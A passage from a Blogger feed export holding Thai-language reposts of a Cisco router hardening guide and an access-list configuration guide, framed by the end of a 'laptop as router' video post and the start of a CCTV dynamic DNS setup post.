name="movie" value="http://www.youtube.com/v/GI-s5x4lLLw&amp;rel=0&amp;hl=en_US&amp;feature=player_embedded&amp;version=3"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/GI-s5x4lLLw&amp;rel=0&amp;hl=en_US&amp;feature=player_embedded&amp;version=3" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="640" height="390"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-7971698145836426572?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/7971698145836426572/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=7971698145836426572&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/7971698145836426572'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/7971698145836426572'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/06/blog-post.html' title='Make laptop act as router'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-3909010190601164197</id><published>2011-06-16T08:01:00.000-07:00</published><updated>2011-06-16T08:03:24.492-07:00</updated><title type='text'>Cisco router security configuration guide</title><content type='html'>&lt;h3 class="post-title entry-title"&gt; &lt;a href="http://thaiwinadmin.blogspot.com/2007/02/router-configuration-guide-part-1.html"&gt;Cisco Router Security Configuration Guide Part 1&lt;/a&gt; &lt;/h3&gt; &lt;div class="post-header"&gt;  &lt;/div&gt;  &lt;strong&gt;การคอนฟิก Cisco Router เบื้องต้น&lt;/strong&gt;&lt;br /&gt;Router  นั้นเป็นอุปกรณ์สำคัญตัวหนึ่งบนระบบเครือข่ายคอมพิวเตอร์  ทำหน้าที่รับ-ส่งข้อมูลระหว่างเครือข่ายต่างๆ Router  นั้นมีการทำงานที่ซับซ้อนกว่าอุปกรณ์เครือข่ายอื่นๆ อย่าง Hub หรือ Switch  และจะต้องมีการคอนฟิกระบบให้เหมาะสมกับระบบเครือข่ายก่อนจึงจะสามารถทำงาน ได้&lt;br /&gt;&lt;br /&gt;สำหรับบทความนี้เป็นตอนที่ 1 จาก 2 ตอน  ซึ่งจะอธิบายถึงคำแนะนำในการปรับแต่งค่าคอนฟิก Router ของ Cisco  เพื่อให้มีความปลอดภัยจากการใช้งาน โดยคำสั่งต่างๆ นั้น  จะอ้างอิงจากชุดคำสั่งของ Cisco อย่างไรก็ตาม ท่านสามารถนำคำแนะนำต่างๆ  เหล่านี้ไปประยุกต์ใช้ให้เหมาะสมกับระบบเครือข่าย (รวมถึง Router  ยี่ห้ออื่นๆ)&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;คำแนะนำโดยทั่วไปเกี่ยวกับการคอนฟิก Router&lt;/strong&gt;&lt;br /&gt;1.  ควรสร้างนโยบายความปลอดภัยของ Router และปรับแต่งให้เหมาะสมอยู่เสมอ  โดยในนโยบายนั้น ควรทำการระบุว่าผู้ใดบ้างได้รับอนุญาตให้เข้าใช้งาน Router  และผู้ใดบ้างได้รับอนุญาตให้ปรับแต่งแก้ไขและอัพเดตการทำงานของ Router  รวมทั้งเก็บบันทึกค่าการเข้าใช้งานและการปรับแต่งค่าทั้งหมดที่เกิดขึ้นจริง กับ Router&lt;br /&gt;&lt;br /&gt;2. ให้คำอธิบายและเก็บบันทึกไฟล์ ที่ใช้กำหนดคอนฟิกของ  Router  การกระทำดังกล่าวนี้อาจจะดูเหมือนเป็นสิ่งง่ายเมื่อเปรียบเทียบกับความ  ปลอดภัยที่จะได้รับ นอกจากนั้น ควรเก็บสำเนาคอนฟิกของ Router  ทั้งหมดที่เหมือนกับคอนฟิกจริงที่ใช้งานไว้ตลอดเวลา  (หากมีการแก้ไขคอนฟิกที่ Router ก็จะต้องแก้ไขค่าที่เก็บสำเนาไว้ด้วย)  การกระทำดังกล่าวนี้จะช่วยให้สามารถตรวจสอบความเปลี่ยนแปลงที่เกิดขึ้นเมื่อ  ถูกบุกรุก หรือใช้กู้คืนค่าดังกล่าวมาใช้งานเมื่อเกิดความเสียหายได้&lt;br /&gt;&lt;br /&gt;3.  สร้าง Access List เพื่อควบคุมการผ่านเข้าออกเครือข่าย  โดยอนุญาตให้เฉพาะโปรโตคอล (Protocol) และบริการ (Service)  ที่ผู้ใช้งานเครือข่ายจำเป็นต้องใช้เท่านั้น  นอกเหนือจากนั้นจะไม่อนุญาตให้ผ่านเครือข่ายทั้งหมด&lt;br /&gt;&lt;br /&gt;4. อัพเดท IOS  ให้เป็นเวอร์ชันล่าสุดที่เป็นไปได้อยู่เสมอ  โดยสอบถามข้อมูลเวอร์ชันที่เหมาะสมได้จากผู้แทนจำหน่ายหรือจากเว็บไซต์ของ  Cisco (http://www.cisco.com)&lt;br /&gt;&lt;br /&gt;5. ทดสอบความปลอดภัยโดยทั่วไปของ Router อยู่เสมอ โดยเฉพาะอย่างยิ่งเมื่อมีการเปลี่ยนแปลงคอนฟิกที่สำคัญของ Router&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;คำแนะนำเกี่ยวกับการเข้าถึง Router&lt;/strong&gt;&lt;br /&gt;1.  ปิดความสามารถในการทำงานต่างๆ ของ Router ที่ไม่จำเป็นต้องใช้งาน  เพื่อประหยัดพื้นที่หน่วยความจำและลดการทำงานของโปรเซสเซอร์ของ Router  วิธีการดูว่ามีโปรเซสอะไรกำลังทำงานอยู่บ้างทำได้โดยการใช้คำสั่ง show proc  ที่ Router แล้วสั่งปิดบริการทั้งหมดที่แน่ใจว่าไม่จำเป็นต้องใช้งาน  โดยทั่วไป การทำงานของ Router ที่สามารถปิดการทำงานได้ ได้แก่&lt;br /&gt;&lt;br /&gt;• Small services        ปิดการทำงานด้วคำสั่ง no service tcp-small-servers&lt;br /&gt;(echo, discard, chargen, etc.)      ปิดการทำงานด้วคำสั่ง no service udp-small-servers&lt;br /&gt;&lt;br /&gt;• BOOTP      ปิดการทำงานด้วยคำสั่ง no ip bootp server&lt;br /&gt;&lt;br /&gt;• Finger       ปิดการทำงานด้วยคำสั่ง no service finger&lt;br /&gt;&lt;br /&gt;• HTTP      ปิดการทำงานด้วยคำสั่ง no ip http server&lt;br /&gt;&lt;br /&gt;• Identd      ปิดการทำงานด้วยคำสั่ง no ip identd (เฉพาะบางเวอร์ชันของ IOS)&lt;br /&gt;&lt;br /&gt;• SNMP      ปิดการทำงานด้วยคำสั่ง no snmp-server&lt;br /&gt;&lt;br /&gt;2.  ปิดการให้บริการต่างๆ ของ Router ที่ไม่จำเป็นต้องใช้ของ  บริการเหล่านี้ใช้เพื่อการอนุญาตให้ส่งแพ็กเก็ตหลายชนิดผ่าน Router  หรือส่งแพ็กเก็ตชนิดพิเศษบางชนิด หรือใช้เพื่อการปรับแต่งคอนฟิกของ Router  จากแบบรีโมต โดยทั่วไป บริการของ Router ที่สามารถทำการปิดบริการได้ ได้แก่&lt;br /&gt;&lt;br /&gt;• CDP       ปิดบริการด้วยคำสั่ง no cdp run&lt;br /&gt;&lt;br /&gt;• Remote config       ปิดบริการด้วยคำสั่ง no service config&lt;br /&gt;&lt;br /&gt;• Source routing       ปิดบริการด้วยคำสั่ง no ip source-route&lt;br /&gt;&lt;br /&gt;3.  เพิ่มความปลอดภัยให้กับอินเทอร์เฟซของ Router  โดยการใช้คำสั่งดังต่อไปนี้กำหนดไว้ที่ทุกอินเทอร์เฟซ  (จะต้องทำที่โหมดของการกำหนดค่าให้อินเทอร์เฟซ)&lt;br /&gt;&lt;br /&gt;• Unused interfaces       ให้รันคำสั่ง shutdown&lt;br /&gt;&lt;br /&gt;• No Smurf attacks       ให้รันคำสั่ง no ip directed-broadcast&lt;br /&gt;&lt;br /&gt;• Ad-hoc routing       ให้รันคำสั่ง no ip proxy-arp&lt;br /&gt;&lt;br /&gt;4.  เพิ่มความปลอดภัยให้กับการติดต่อกับ Console line, Auxiliary line และ  Virtual terminal line ของ Router  มีความปลอดภัยมากขึ้นได้โดยการใช้คำสั่งดังต่อไปนี้ กำหนดไว้ที่ Console  line และ Virtual terminal line (ดังตัวอย่างด้านล่าง) ส่วน auxiliary line  หากไม่มีการใช้งานควรถูกปิด ตามตัวอย่างด้านล่าง&lt;br /&gt;&lt;br /&gt;• Console Line&lt;br /&gt;      line con 0&lt;br /&gt;      exec-timeout 5 0&lt;br /&gt;      login&lt;br /&gt;      transport input telnet&lt;br /&gt;&lt;br /&gt;• Auxiliary Line&lt;br /&gt;      line aux 0&lt;br /&gt;      no exec&lt;br /&gt;      exec-timeout 0 10&lt;br /&gt;      transport input telnet&lt;br /&gt;&lt;br /&gt;• VTY lines&lt;br /&gt;      line vty 0 4&lt;br /&gt;      exec-timeout 5 0&lt;br /&gt;      login&lt;br /&gt;      transport input telnet&lt;br /&gt;&lt;br /&gt;5.  ควรเลือกใช้รหัสให้มีความปลอดภัยมากที่สุดเท่าที่จะทำได้  โดยเปิดใช้การตั้งค่ารหัสผ่านแบบ Enable Secret  ซึ่งเป็นการเข้ารหัสของรหัสผ่านด้วยอัลกอริทึม MD-5 นอกจากนี้  ควรตั้งรหัสผ่านไว้สำหรับการเชื่อมต่อผ่านทาง Console line, Auxiliary line  และ virtual terminal line ด้วย โดยค่ารหัสผ่านที่ตั้งให้กับแต่ละ Line  นี้ควรได้รับการปกป้องในเบื้องต้นโดยการเรียกใช้คำสั่ง service  password-encryption เพื่อให้เกิดการเข้ารหัสสำหรับรหัสผ่านทั้งหมด  รายละเอียดดังตัวอย่างด้านล่าง&lt;br /&gt;&lt;br /&gt;• Enable secret        enable secret 0 2manyRt3s&lt;br /&gt;&lt;br /&gt;• Console Line&lt;br /&gt;      line con 0&lt;br /&gt;      password Soda-4-jimmY&lt;br /&gt;&lt;br /&gt;• Auxiliary Line&lt;br /&gt;      line aux 0&lt;br /&gt;      password Popcorn-4-sara&lt;br /&gt;&lt;br /&gt;• VTY Lines&lt;br /&gt;      line vty 0 4&lt;br /&gt;      password Dots-4-grorg3&lt;br /&gt;&lt;br /&gt;• Basic protection&lt;br /&gt;      service password-encryption&lt;br /&gt;&lt;br /&gt;6.  เก็บค่าคอนฟิก Router  เป็นความลับเฉพาะผู้ที่มีส่วนเกี่ยวข้องหรือได้รับมอบหมาย  ไม่ทำการเปิดเผยรายละเอียดการคอนฟิกและไฟล์คอนฟิกแก่ผู้ที่ไม่ได้รับอนุญาต โดยเด็ดขาด&lt;br /&gt;&lt;br /&gt;&lt;h3 class="post-title entry-title"&gt; &lt;a href="http://thaiwinadmin.blogspot.com/2007/02/router-configuration-guide-part-2.html"&gt;Cisco Router Security Configuration Guide Part 2&lt;/a&gt; &lt;/h3&gt; &lt;div class="post-header"&gt;  &lt;/div&gt;  &lt;strong&gt;การคอนฟิก Logging &amp;amp; Debugging บน Cisco Router&lt;/strong&gt;&lt;br /&gt;1.  เปิดใช้งานความสามารถในการเก็บบันทึกค่าการทำงานของ Router  เพื่อใช้เก็บบันทึกค่าการทำงานและความผิดพลาดต่างๆ ที่เกิดขึ้น  และส่งแพ็กเก็ตไปยังเครื่องคอมพิวเตอร์ที่ใช้ในการเก็บ Syslog  บนในเครือข่ายที่น่าเชื่อถือ  โดยจะต้องแน่ใจว่าเส้นทางที่ส่งข้อมูลเป็นเครือข่ายที่น่าเชื่อถือ&lt;br /&gt;&lt;br /&gt;วิธีการเปิดใช้งานบน Cisco Router มีวิธีการดังต่อไปนี้&lt;br /&gt;       Cisco_Router1 (config) # logging on&lt;br /&gt;       Cisco_Router1 (config) # logging 10.1.1.200&lt;br /&gt;       Cisco_Router1 (config) # logging buffered&lt;br /&gt;       Cisco_Router1 (config) # logging console critical&lt;br /&gt;       Cisco_Router1 (config) # logging trap debugging&lt;br /&gt;       Cisco_Router1 (config) # logging facility local1&lt;br /&gt;&lt;br /&gt;2.  กำหนดค่าการทำงานของ Router  โดยให้เก็บค่าเวลาลงในบันทึกการทำงานลงในล็อกด้วย  โดยการตั้งค่าเวลาจากเครื่องเซิร์ฟเวอร์ NTP ที่แตกต่างกันอย่างน้อย 2  เครื่อง เพื่อให้ค่าที่ได้มีความถูกต้อง  ซึ่งจะช่วยให้ผู้ดูแลระบบติดตามเหตุการณ์การบุกรุกเครือข่ายได้สะดวกแม่นยำ  มีวิธีการดังตัวอย่างด้านล่าง&lt;br /&gt;&lt;br /&gt;       service timestamps log datetime localtime show-timezone&lt;br /&gt;       clock timezone EST -5&lt;br /&gt;       clock summer-time EDT recurring&lt;br /&gt;       ntp source Ethernet 0/1&lt;br /&gt;       ntp server 192.5.41.40&lt;br /&gt;       ntp server 192.5.41.41&lt;br /&gt;&lt;br /&gt;3.  หากมีการใช้งาน SNMP ใช้เลือกใช้ SNMP community string ที่ยากต่อการเดา  คำสั่งที่ได้แสดงไว้ดังตัวอย่างด้านล่างแสดงให้เห็นถึงวิธีการในการลบค่าดี ฟอลท์ Community string ของ Router และควรกำหนดให้ Community string  เป็นแบบอ่านอย่างเดียว&lt;br /&gt;&lt;br /&gt;       Cisco_Router1 (config) # no snmp community public&lt;br /&gt;       Cisco_Router1 (config) # no snmp community private&lt;br /&gt;       Cisco_Router1 (config) # snmp community SEC&amp;gt;Ever1&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Checklist ความปลอดภัย&lt;/strong&gt;&lt;br /&gt;Checklist   ความปลอดภัยต่อไปนี้ออกแบบขึ้นมาเพื่อเป็นเครื่องช่วยในการตรวจสอบความ ปลอดภัยในการกำหนดค่าการทำงานให้กับ Router  และช่วยทบทวนถึงรายละเอียดความปลอดภัยทั้งหมดที่เกี่ยวข้อง&lt;br /&gt;&lt;br /&gt;• มีการเขียน ตรวจสอบรับรอง และประกาศใช้งานนโยบายความปลอดภัยของ Router&lt;br /&gt;• ตรวจสอบเวอร์ชันของ IOS ของตัว Router ว่ามีความทันสมัยหรือไม่&lt;br /&gt;• ตรวจสอบค่าคอนฟิกของ Router ที่ใช้งานว่ามีความถูกต้องชัดเจน มีการแบ็กอัพ และถูกจำกัดการเข้าถึง หรือไม่&lt;br /&gt;• ตรวจสอบว่ามีการกำหนดรายละเอียดของค่าการทำงานของ Router ไว้อย่างชัดเจน มีคำอธิบายที่ครบถ้วนหรือไม่&lt;br /&gt;• มีการกำหนดผู้รับผิดชอบ และมีการดูแลตรวจสอบรายชื่อผู้ใช้ Router และรหัสผ่านหรือไม่&lt;br /&gt;• กำหนดรหัสผ่านที่ยากต่อการเดา และจำกัดจำนวนผู้ที่ทราบค่ารหัสผ่าน&lt;br /&gt;• จำกัดการเข้าถึง Router โดยการควบคุมที่ Console, Aux และ VTY&lt;br /&gt;• ยกเลิกหรือปิดบริการทุกอย่างของเครือข่ายที่ไม่จำเป็นต้องใช้งาน&lt;br /&gt;• ปิดอินเทอร์เฟซทั้งหมดที่ไม่มีการใช้งาน&lt;br /&gt;• ยกเลิกหรือปิดบริการที่มีความเสี่ยงที่อินเทอร์เฟซ&lt;br /&gt;• กำหนดพอร์ตและโปรโตคอลที่จำเป็นต้องใช้งานในเครือข่ายให้ชัดเจน พร้อมทั้งทำการตรวจสอบด้านความปลอดภัยให้แน่ใจก่อนเปิดใช้งาน&lt;br /&gt;• ใช้ Access List จำกัดความหนาแน่นในการใช้งานเครือข่าย โดยกำหนดตามพอร์ตและโปรโตคอลที่ใช้&lt;br /&gt;• ใช้ Access List เพื่อสกัดกั้นการใช้หมายเลขไอพีที่สำรองไว้หรือหมายเลขไอพีที่ไม่เหมาะสม&lt;br /&gt;• ใช้งานการตั้งค่าการเลือกเส้นทางแบบ Static หากจำเป็น&lt;br /&gt;• โปรโตคอลที่ใช้ในการเลือกเส้นทางจะต้องถูกกำหนดให้ถูกต้องตามวิธีการที่ใช้&lt;br /&gt;• เปิดใช้งานการบันทึกค่าการทำงานลงในล็อก และกำหนดเครื่องที่ใช้ในการรับและเก็บล็อก (ต้องได้รับการตั้งค่าให้ถูกต้อง)&lt;br /&gt;• ตรวจสอบค่าเวลาของ Router ให้มีความถูกต้องเที่ยงตรง และควรได้รับการจัดการผ่านทาง NTP&lt;br /&gt;• บันทึกค่าการทำงานลงในล็อก โดยกำหนดให้รวมข้อมูลของเวลาที่เกิดเหตุการณ์ต่างๆ ไว้ด้วย&lt;br /&gt;• ตรวจสอบ พิจารณาและเก็บบันทึกการทำงานที่เกิดขึ้นในล็อกคามความเหมาะสม (ตามที่ระะบุไว้ในนโยบาย)&lt;br /&gt;• ยกเลิกการใช้งาน SNMP หรือใช้งานโดยทำการตั้งค่า Community string ให้ยากต่อการเดา&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-3909010190601164197?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/3909010190601164197/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=3909010190601164197&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/3909010190601164197'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/3909010190601164197'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/06/cisco-router-security-configuration.html' title='Cisco router security configuration guide'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-962079437439359391</id><published>2011-06-16T07:58:00.000-07:00</published><updated>2011-06-16T07:59:13.704-07:00</updated><title type='text'>Cisco Acl</title><content type='html'>&lt;h3 class="post-title entry-title"&gt; &lt;a href="http://thaiwinadmin.blogspot.com/2007/02/configuring-ip-access-lists.html"&gt;Configuring IP Access Lists in Cisco Router&lt;/a&gt; &lt;/h3&gt; &lt;div class="post-header"&gt;  &lt;/div&gt;  &lt;strong&gt;การคอนฟิก Access Lists ใน Cisco Router&lt;/strong&gt;&lt;br /&gt;1. การสร้าง  Access-list ขึ้นใหม่แต่ละครั้งควรจะเริ่มต้นด้วยคำสั่ง no access-list xxx  (เมื่อ xxx แทนตัวเลขใดๆ เช่น 123) ก่อนเสมอ  เพื่อลบค่าเดิมในกรณีมีการใช้งานอยู่ก่อนหน้า&lt;br /&gt;&lt;br /&gt;       Cisco_Router1 (config) # no access-list 50&lt;br /&gt;       Cisco_Router1 (config) # access-list 50 permit host 192.168.10.9&lt;br /&gt;       Cisco_Router1 (config) # access-list 50 deny any log&lt;br /&gt;&lt;br /&gt;2.  กำหนดหมายเลขพอร์ตที่ต้องการควบคุมสำหรับในแต่ละ Access list  ซึ่งจะช่วยเพิ่มประสิทธิภาพการทำงานของ IOS  เนื่องจากทำให้ไม่ต้องทำการตรวจสอบข้อมูลในส่วน Header  ทั้งหมดของแพ็กเก็ตโดยไม่จำเป็น&lt;br /&gt;&lt;br /&gt;นอกจากนี้  ยังช่วยให้แน่ใจว่าข้อมูลการใช้งานที่เก็บในล็อกมีข้อมูลของหมายเลขพอร์ตที่ ถูกต้อง โดยการกำหนดหมายเลขพอร์ตในช่วงที่ต้องการเป็นอาร์กิวเมนต์หนึ่งของ  Access list ที่สร้างขึ้น ดังตัวอย่าง&lt;br /&gt;&lt;br /&gt;       no access-list 101&lt;br /&gt;       access-list 101 deny udp any range 1 65535 any range 1 65535 log&lt;br /&gt;       access-list 101 deny tcp any range 1 65535 any range 1 65535 log&lt;br /&gt;       access-list 101 deny ip any any log&lt;br /&gt;&lt;br /&gt;คำ สั่งในบรรทัดสุดท้ายใส่เพื่อให้แน่ใจว่า Router  จะปฏิเสธแพ็กเก็ตที่ใช้งานโพรโตคอลอื่นๆ นอกเหนือจาก TCP และ UDP  รวมทั้งเก็บค่าลงในล็อก&lt;br /&gt;&lt;br /&gt;3. อนุญาต  ให้เฉพาะแอดเดรสของเครือข่ายภายในส่งข้อมูลเข้าสู่ router  ผ่านทางอินเทอร์เฟซภายใน โดยการบังคับที่ Access list  รวมทั้งการปิดไม่ให้แอดเดรสที่ไม่ถูกต้องออกจากเครือข่ายที่อินเทอร์เฟซที่  เชื่อมต่อกับเครือข่ายภายนอก เพื่อป้องกันผู้บุกรุกไม่ให้ใช้ Router  เป็นเครื่องมือในการโจมตีที่อื่น  วิธีการนี้อาจจะไม่สามารถนำไปใช้งานได้จริงกับเครือข่ายที่มีความซับซ้อน&lt;br /&gt;&lt;br /&gt;       Cisco_Router1 (config) # no access-list 101&lt;br /&gt;       Cisco_Router1 (config) # access-list 101 permit ip 192.168.10.0 0.0.0.255 any&lt;br /&gt;       Cisco_Router1 (config) # access-list 101 deny udp any range 1 65535 any log&lt;br /&gt;       Cisco_Router1 (config) # access-list 101 deny tcp any range 1 65535 any log&lt;br /&gt;       Cisco_Router1 (config) # access-list 101 deny ip any any log&lt;br /&gt;       Cisco_Router1 (config) # interface eth 1&lt;br /&gt;       Cisco_Router1 (config-if) # ip access-group 101 in&lt;br /&gt;       Cisco_Router1 (config-if) # exit&lt;br /&gt;       Cisco_Router1 (config) # interface eth 0&lt;br /&gt;       Cisco_Router1 (config-if) # ip access-group 101 out&lt;br /&gt;&lt;br /&gt;4.  ไม่ควรให้แพ็กเก็ตที่มาจากภายนอก (จากเครือข่ายที่ไม่น่าเชื่อถือ)  ผ่านเข้ามาในเครือข่าย  เนื่องจากอาจจะเป็นแพ็กเก็ตที่มีการปลอมแปลง  หรือส่งมาเพื่อโจมตีเครือข่าย  สามารถทำได้โดยการแบ่งส่วนของเครือข่ายทั้งหมดตามแต่ละอินเทอร์เฟซของ  Router และออกแบบว่าจะเลือกให้มีการส่งผ่านข้อมูล  ที่มาจากเครือข่ายภายนอกและเครือข่ายที่ไม่น่าเชื่อถือจากที่ใดได้บ้าง&lt;br /&gt;&lt;br /&gt;5.   แพ็กเก็ตที่ส่งมาจากภายนอกที่มีแอดเดรสต้นทางเหมือนกับแอดเดรสของเครือข่าย ภายในใดๆ (เครือข่ายที่เชื่อถือ)  จัดว่าเป็นแพ็กเก็ตที่ส่งเข้ามาเพื่อโจมตีระบบโดยวิธีการ TCP sequence  number guessing หรือวิธีอื่นๆ ในทำนองเดียวกัน  จึงไม่ควรให้ผ่านเข้ามาในเครือข่าย ป้องกันได้โดยการสร้าง access list  ขึ้นมาใช้งานที่แต่ละอินเทอร์เฟซที่ต้องติดต่อกับเครือข่ายที่ไม่น่าเชื่อ ถือ&lt;br /&gt;&lt;br /&gt;6. สกัดกั้นแพ็กเก็ตชนิด Loopback (มาจากเครือข่าย 127.0.0.0)  เนื่องจากแพ็กเก็ตเหล่านี้ไม่มีทางเกิดขึ้นได้จริง นอกจากนั้น  ให้ดร็อปแพ็กเก็ตขาเข้า (Inbound) ที่มาจาก IP address ที่ถูกสำรองไว้  (ได้แก่ 10.0.0.0, 172.16.0.0 - 172.31.0.0 และ 192.168.0.0) [ตาม RFC  1918]&lt;br /&gt;&lt;br /&gt;7. หากเครือข่ายไม่มีความจำเป็นต้องใช้ IP Multicast ก็ควรจะกั้นแพ็กเก็ตชนิด Multicast ด้วย&lt;br /&gt;&lt;br /&gt;8. สกัดกั้นแพ็กเก็ตชนิด Broadcast&lt;br /&gt;&lt;br /&gt;หมาย เหตุ: การปิดแพ็กเก็ตชนิด Broadcast อาจจะทำให้บริการ DHCP และ BOOTP  ไม่สามารถใช้งานได้ด้วย อย่างไรก็ตาม  บริการทั้งสองอันนี้ไม่ควรนำมาใช้ที่อินเทอร์เฟซที่ต่อกับเครือข่ายภาย นอกอยู่แล้ว&lt;br /&gt;&lt;br /&gt;9. การโจมตีเครือข่ายจากภายนอกส่วนมากจะใช้วิธีการส่ง  ICMP Redirect จึงควรปิดบริการนี้  (วิธีการที่ดีกว่านี้แต่มีความยุ่งยากมากขึ้นคือการอนุญาตให้แพ็กเก็ตชนิด  ICMP ที่จำเป็นเพียงบางชนิดผ่านเข้าออก)&lt;br /&gt;&lt;br /&gt;ตัวอย่างที่แสดงดังต่อไปนี้ เป็นวิธีการหนึ่งที่จะนำเอาคำแนะนำด้านบนไปใช้งานจริง&lt;br /&gt;&lt;br /&gt;       Cisco_Router2 (config) # no access-list 103&lt;br /&gt;       Cisco_Router2 (config) # ! block internal addresses&lt;br /&gt;       Cisco_Router2 (config) # access-list 103 deny ip 14.2.0.0 0.0.255.255 any log&lt;br /&gt;       Cisco_Router2 (config) # access-list 103 deny ip 14.1.0.0 0.0.255.255 any log&lt;br /&gt;       Cisco_Router2 (config) # ! block loopback/reserved addresses&lt;br /&gt;       Cisco_Router2 (config) # access-list 103 deny ip 127.0.0.0 0.255.255.255 any log&lt;br /&gt;       Cisco_Router2 (config) # access-list 103 deny ip 10.0.0.0 0.255.255.255 any log&lt;br /&gt;       Cisco_Router2 (config) # access-list 103 deny ip 172.16.0.0 0.15.255.255 any log&lt;br /&gt;       Cisco_Router2 (config) # access-list 103 deny ip 192.168.0.0 0.0.255.255 any log&lt;br /&gt;       Cisco_Router2 (config) # ! block multicast (if not used)&lt;br /&gt;       Cisco_Router2 (config) # access-list 103 deny ip 224.0.0.0 0.0.255.255 any&lt;br /&gt;       Cisco_Router2 (config) # ! block broadcast&lt;br /&gt;       Cisco_Router2 (config) # access-list 103 deny ip host 0.0.0.0 any log&lt;br /&gt;       Cisco_Router2 (config) # ! block ICMP redirects&lt;br /&gt;       Cisco_Router2 (config) # access-list 103 deny icmp any any redirect log&lt;br /&gt;       Cisco_Router2 (config) # interface eth 0/0&lt;br /&gt;       Cisco_Router2 (config-if) # ip access-group 103 in&lt;br /&gt;&lt;br /&gt;10.  ทำการสกัดกั้นแพ็กเก็ตที่มีแอดเดรสต้นทาง (Source Address)  และแอดเดรสปลายทาง (Destination Address) เหมือนกันไม่ให้เข้ามาในเครือข่าย  (แพ็กเก็ตลักษณะนี้จัดเป็นวิธีการบุกรุกเครือข่ายที่เรียกว่า "Land")  โดยการสร้าง Access list ในลักษณะตามตัวอย่างด้านล่าง&lt;br /&gt;&lt;br /&gt;      Cisco_Router2 (config) # no access-list 101&lt;br /&gt;      Cisco_Router2 (config) # access-list 101 deny ip host 10.2.6.250 host 10.2.6.250 log&lt;br /&gt;      Cisco_Router2 (config) # access-list 101 permit ip any any&lt;br /&gt;      Cisco_Router2 (config) # interface Eth 0/0&lt;br /&gt;      Cisco_Router2 (config-if) # ip address 10.2.6.250 255.255.255.0&lt;br /&gt;      Cisco_Router2 (config-if) # ip access-group 101 in&lt;br /&gt;&lt;br /&gt;11. กำหนดค่า Access list ให้กับ Virtual terminal line เพื่อควบคุมการ telnet เข้า Router ในลักษณะตามตัวอย่างด้านล่าง&lt;br /&gt;&lt;br /&gt;       Cisco_Router1 (config) # line vty 0 4&lt;br /&gt;       Cisco_Router1 (config-line) # access-class 93 in&lt;br /&gt;       Cisco_Router1 (config-line) # exit&lt;br /&gt;       Cisco_Router1 (config) # no access-list 93&lt;br /&gt;       Cisco_Router1 (config) # access-list 93 permit 10.1.1.1&lt;br /&gt;       Cisco_Router1 (config) # access-list 93 permit 10.1.1.2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-962079437439359391?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/962079437439359391/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=962079437439359391&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/962079437439359391'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/962079437439359391'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/06/cisco-acl.html' title='Cisco Acl'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-6957010422738237312</id><published>2011-06-14T20:03:00.000-07:00</published><updated>2011-06-14T20:06:27.281-07:00</updated><title type='text'>How to install cctv online</title><content type='html'>&lt;table border="0" cellspacing="0" cellpadding="0" width="100%"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt; &lt;table border="0" cellspacing="10" cellpadding="10" width="100%"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt; &lt;ol&gt; &lt;li&gt;&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;&lt;/p&gt; &lt;h2&gt;&lt;a name="DDNS"&gt;Create and Configure a Dynamic DNS Account&lt;/a&gt;&lt;/h2&gt;Dynamic DNS,  also known as DynDNS or DDNS, is a service that allows you to configure a domain  name, such as www.mydvr.com to route to a dynamic IP address.  Typically cable  and DSL internet access providers use dynamic IP address each time you connect  to the internet.  This means that your connection is assigned a different IP 